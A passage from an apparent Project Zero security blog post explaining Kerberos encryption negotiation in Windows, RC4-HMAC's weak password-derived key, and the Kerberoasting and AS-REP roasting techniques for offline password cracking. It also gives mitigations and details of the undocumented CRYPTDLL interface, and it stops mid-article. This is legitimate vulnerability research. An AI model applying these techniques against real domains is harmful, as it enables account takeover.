risks associated with it and should reduce the attack surface as much as possible by disabling functionality that is not required for their use case. Additional defense-in-depth approaches like early validation of signing keys, an allow-list based approach to valid transformation chains and strict schema validation of SAML tickets can be used for further hardening.</span></p><br /></span>
Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-83034274577544885032022-10-27T12:48:00.001-07:002023-01-17T15:16:06.866-08:00RC4 Is Still Considered Harmful
<p><span style="font-family: Arial; font-size: 11pt; white-space: pre-wrap;">By James Forshaw, Project Zero</span></p><span id="docs-internal-guid-17a9c8ad-7fff-5625-1f43-45ab13f83d8f"><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">I've been spending a lot of time researching Windows authentication implementations, specifically Kerberos. In June 2022 I found an interesting issue number </span><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2310" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">2310</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> with the handling of RC4 encryption that allowed you to authenticate as another user if you could either interpose on the Kerberos network traffic to and from the KDC or directly if the user was configured to disable typical pre-authentication requirements.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This blog post goes into more detail on how this vulnerability works and how I was able to exploit it with only a bare minimum of brute forcing required. Note, I'm not going to spend time fully explaining how Kerberos authentication works, there's plenty of resources online. For example </span><a href="https://syfuhs.net/a-bit-about-kerberos" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">this blog post</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> by </span><a href="https://twitter.com/SteveSyfuhs" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">Steve Syfuhs</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> who works at Microsoft is a good first start.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Background</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Kerberos is a very old authentication protocol. The current version (v5) was described in </span><a href="https://datatracker.ietf.org/doc/html/rfc1510" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">RFC1510</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> back in 1993, although it was updated in </span><a href="https://datatracker.ietf.org/doc/html/rfc4120" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">RFC4120</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> in 2005. As Kerberos' core security concept is using encryption to prove knowledge of a user's credentials the design allows for negotiating the encryption and checksum algorithms that the client and server will use. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For example when sending the initial authentication service request (AS-REQ) to the Key Distribution Center (KDC) a client can specify a list supported encryption algorithms, as predefined integer identifiers, as shown below in the snippet of the ASN.1 definition from RFC4120.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">KDC-REQ-BODY ::= SEQUENCE {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> etype [8] SEQUENCE OF Int32 -- EncryptionType</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> -- in preference order --,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">When the server receives the request it checks its list of supported encryption types and the ones the user's account supports (which is based on what keys the user has configured) and then will typically choose the one the client most preferred. The selected algorithm is then used for anything requiring encryption, such as generating session keys or the </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">EncryptedData </span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">structure as shown below:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">EncryptedData ::= SEQUENCE {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> etype [0] Int32 -- EncryptionType --,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> kvno [1] UInt32 OPTIONAL,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> cipher [2] OCTET STRING -- ciphertext</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The KDC will send back an authentication service reply (AS-REP) structure containing the user's </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Ticket Granting Ticket</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> (TGT) and an </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">EncryptedData </span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">structure which contains the session key necessary to use the TGT to request service tickets. The user can then use their known key which corresponds to the requested encryption algorithm to decrypt the session key and complete the authentication process.</span></p><br />
<a href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRE6Kj-svyxGDL8OhnPM46jhk7cf3JEJrssrRSwToM3q63wAaqtboIVHeEiZ5bONQoHZNapfdxpDr3kXMbxLakja1tqshef6N4GDNlw1BXyhanRY_Jg2zDqTlIPmHZBZ2XvCMf_23GXoRSS-18_zLCfwYV2v4xOR5usrM4zq1AONy2U57oCk-n-BpW/s1062/image5.png' style='display: block; padding: 1em 0; text-align: center;'><img src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRE6Kj-svyxGDL8OhnPM46jhk7cf3JEJrssrRSwToM3q63wAaqtboIVHeEiZ5bONQoHZNapfdxpDr3kXMbxLakja1tqshef6N4GDNlw1BXyhanRY_Jg2zDqTlIPmHZBZ2XvCMf_23GXoRSS-18_zLCfwYV2v4xOR5usrM4zq1AONy2U57oCk-n-BpW/s1062/image5.png' alt="Alt Text: Diagram showing the based Kerberos authentication and requesting an AES key type." title="Alt Text: Diagram showing the based Kerberos authentication and requesting an AES key type." border='0' style='max-height: 750px; max-width: 600px;' /></a>
<br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This flexibility in selecting an encryption algorithm is both a blessing and a curse. In the original implementations of Kerberos only DES encryption was supported, which by modern standards is far too weak. Because of the flexibility developers were able to add support for AES through </span><a href="https://datatracker.ietf.org/doc/html/rfc3962" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">RFC3962</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> which is supported by all modern versions of Windows. This can then be negotiated between client and server to use the best algorithm both support. However, unless weak algorithms are explicitly disabled there's nothing stopping a malicious client or server from downgrading the encryption algorithm in use and trying to break Kerberos using cryptographic attacks.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Modern versions of Windows have started to disable DES as a supported encryption algorithm, preferring AES. However, there's another encryption algorithm which Windows supports which is still enabled by default, </span><a href="https://en.wikipedia.org/wiki/RC4" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">RC4</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. This algorithm was used in Kerberos by Microsoft for Windows 2000, although its documentation was in draft form until </span><a href="https://datatracker.ietf.org/doc/html/rfc4757" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">RFC4757</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> was released in 2006. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The RC4 stream cipher has many substantial weaknesses, but when it was introduced it was still considered a better option than DES which has been shown to be sufficiently vulnerable to hardware cracking such as the EFF's "</span><a href="https://en.wikipedia.org/wiki/EFF_DES_cracker" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">Deep Crack</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">". Using RC4 also had the advantage that it was relatively easy to operate in a reduced key size mode to satisfy US export requirements of cryptographic systems. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">If you read the RFC for the implementation of RC4 in Kerberos, you'll notice it doesn't use the stream cipher as is. Instead it puts in place various protections to guard against common cryptographic attacks:</span></p><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The encrypted data is protected by a keyed MD5 HMAC hash to prevent tampering which is trivial with a simple stream cipher such as RC4. The hashed data includes a randomly generated 8-byte "confounder" so that the hash is randomized even for the same plain text.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The key used for the encryption is derived from the hash and a base key. This, combined with the confounder makes it almost certain the same key is never reused for the encryption.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The base key is not the user's key, but instead is derived from a MD5 HMAC keyed with the user's key over a 4 byte message type value. For example the message type is different for the AS-REQ and the AS-REP structures. This prevents an attacker using Kerberos as an encryption oracle and reusing existing encrypted data in unrelated parts of the protocol.</span></p></li></ul><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Many of the known weaknesses of RC4 are related to gathering a significant quantity of ciphertext encrypted with a known key. Due to the design of the RC4-HMAC algorithm and the general functional principles of Kerberos this is not really a significant concern. However, the biggest weakness of RC4 as defined by Microsoft for Kerberos is not so much the algorithm, but the generation of the user's key from their password. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">As already mentioned Kerberos was introduced in Windows 2000 to replace the existing NTLM authentication process used from NT 3.1. However, there was a problem of migrating existing users to the new authentication protocol. In general the KDC doesn't store a user's password, instead it stores a hashed form of that password. For NTLM this hash was generated from the Unicode password using a single pass of the MD4 algorithm. Therefore to make an easy upgrade path Microsoft specified that the RC4-HMAC Kerberos key was this same hash value.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">As the MD4 output is 16 bytes in size it wouldn't be practical to brute force the entire key. However, the hash algorithm has no protections against brute-force attacks for example no salting or multiple iterations. If an attacker has access to ciphertext encrypted using the RC4-HMAC key they can attempt to brute force the key through guessing the password. As user's will tend to choose weak or trivial passwords this increases the chance that a brute force attack would work to recover the key. And with the key the attacker can then authenticate as that user to any service they like. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">To get appropriate cipher text the attacker can make requests to the KDC and specify the encryption type they need. The most well known attack technique is called </span><a href="https://attack.mitre.org/techniques/T1558/003/" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">Kerberoasting</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. This technique requests a service ticket for the targeted user and specifies the RC4-HMAC encryption type as their preferred algorithm. If the user has an RC4 key configured then the ticket returned can be encrypted using the RC4-HMAC algorithm. As significant parts of the plain-text is known for the ticket data the attacker can try to brute force the key from that. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This technique does require the attacker to have an account on the KDC to make the service ticket request. It also requires that the user account has a configured Service Principal Name (SPN) so that a ticket can be requested. Also modern versions of Windows Server will try to block this attack by forcing the use of AES keys which are derived from the service user's password over RC4 even if the attacker only requested RC4 support.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">An alternative form is called </span><a href="https://attack.mitre.org/techniques/T1558/004/" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">AS-REP Roasting</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. Instead of requesting a service ticket this relies on the initial authentication requests to return encrypted data. When a user sends an AS-REQ structure, the KDC can look up the user, generate the TGT and its associated session key then return that information encrypted using the user's RC4-HMAC key. At this point the KDC hasn't verified the client knows the user's key before returning the encrypted data, which allows the attacker to brute force the key without needing to have an account themselves on the KDC.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Fortunately this attack is more rare because Windows's Kerberos implementation requires pre-authentication. For a password based logon the user uses their encryption key to encrypt a timestamp value which is sent to the KDC as part of the AS-REQ. The KDC can decrypt the timestamp, check it's within a small time window and only then return the user's TGT and encrypted session key. This would prevent an attacker getting encrypted data for the brute force attack. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">However, Windows does support a user account flag, </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"Do not require Kerberos preauthentication"</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. If this flag is enabled on a user the authentication request does not require the encrypted timestamp to be sent and the AS-REP roasting process can continue. This should be an uncommon configuration.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The success of the brute-force attack entirely depends on the password complexity. Typically service user accounts have a long, at least 25 character, randomly generated password which is all but impossible to brute force. Normal users would typically have weaker passwords, but they are less likely to have a configured SPN which would make them targets for Kerberoasting. The system administrator can also mitigate the attack by disabling RC4 entirely across the network, though this is not commonly done for compatibility reasons. A more limited alternative is to add sensitive users to the </span><a href="https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">Protected Users Group</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, which disables RC4 for them without having to disable it across the entire network.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Windows Kerberos Encryption Implementation</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">While working on researching Windows Defender Credential Guard (CG) I wanted to understand how Windows actually implements the various Kerberos encryption schemes. The primary goal of CG at least for Kerberos is to protect the user's keys, specifically the ones derived from their password and session keys for the TGT. If I could find a way of using one of the keys with a weak encryption algorithm I hoped to be able to extract the original key removing CG's protection.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The encryption algorithms are all implemented inside the CRYPTDLL.DLL library which is separate from the core Kerberos library in KERBEROS.DLL on the client and KDCSVC.DLL on the server. This interface is undocumented but it's fairly easy to work out how to call the exported functions. For example, to get a "crypto system" from the encryption type integer you can use the following exported function:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">NTSTATUS CDLocateCSystem(int etype, KERB_ECRYPT** engine);</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">KERB_ECRYPT</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> structure contains configuration information for the engine such as the size of the key and function pointers to convert a password to a key, generate new session keys, and perform encryption or decryption. The structure also contains a textual name so that you can get a quick idea of what algorithm is supposed to be, which lead to the following supported systems:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Name Encryption Type</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">---- ---------------</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RSADSI RC4-HMAC 24</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RSADSI RC4-HMAC 23</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Kerberos AES256-CTS-HMAC-SHA1-96 18</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Kerberos AES128-CTS-HMAC-SHA1-96 17</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Kerberos DES-CBC-MD5 3</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Kerberos DES-CBC-CRC 1</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RSADSI RC4-MD4 -128</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Kerberos DES-Plain -132</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RSADSI RC4-HMAC -133</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RSADSI RC4 -134</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RSADSI RC4-HMAC -135</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RSADSI RC4-EXP -136</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RSADSI RC4 -140</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RSADSI RC4-EXP -141</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Kerberos AES128-CTS-HMAC-SHA1-96-PLAIN -148</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Kerberos AES256-CTS-HMAC-SHA1-96-PLAIN -149</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: 